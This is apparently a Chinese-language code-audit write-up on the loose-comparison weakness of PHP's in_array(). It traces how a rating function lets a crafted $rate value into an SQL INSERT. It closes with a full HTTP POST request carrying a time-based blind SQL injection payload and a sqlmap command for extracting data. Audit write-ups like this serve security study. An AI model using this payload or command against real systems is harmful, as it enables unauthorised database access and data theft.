PHP審計之in_array函數缺陷繞過
in_array函數
函數使用
in_array :(PHP 4, PHP 5, PHP 7)
功能 :檢查數組中是否存在某個值
定義 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
設計缺陷
在 $haystack 中搜索 $needle ,如果第三個參數 $strict 的值為 TRUE ,則 in_array() 函數會進行強檢查,檢查 $needle 的類型是否和 $haystack 中的相同。如果找到 $haystack ,則返回 TRUE,否則返回 FALSE。
in_array()函數檢測上傳文件時候,可未將第三個參數設置為true,從而導致攻擊者構造文件名繞過服務端的檢測。例如上傳7shell.php在in_array()
函數強制轉換后變為7.php
代碼審計
漏洞代碼在picture.php
中,
if (isset($_GET['action']))
{
switch ($_GET['action'])
{
case 'add_to_favorites' :
...
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
獲取action參數如果為rate的,則包含include/functions_rate.inc.php
文件並且調用其中的rate_picture,並且傳遞頁面的id值與post數據接受過來的rate。
rate_picture函數代碼
function rate_picture($image_id, $rate)
{
global $conf, $user;
if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
判斷$rate不為或者$conf['rate']值存在,或in_array($rate, $conf['rate_items']))
,則$rate
值不在$conf['rate_items'])
中則返回false。
$conf['rate_items'] = array(0,1,2,3,4,5);
來到下面代碼,下面代碼中進行了sql語句的執行,並且了$rate
內容進去。而$rate內容在前面的代碼判斷中是需要為array(0,1,2,3,4,5);
數組內的int內容。
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
而這時候就需要用到in_array的缺陷繞過。不然的話走到上面的判斷in_array($rate, $conf['rate_items'])
中地方就直接返回false,不往下走了。
POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T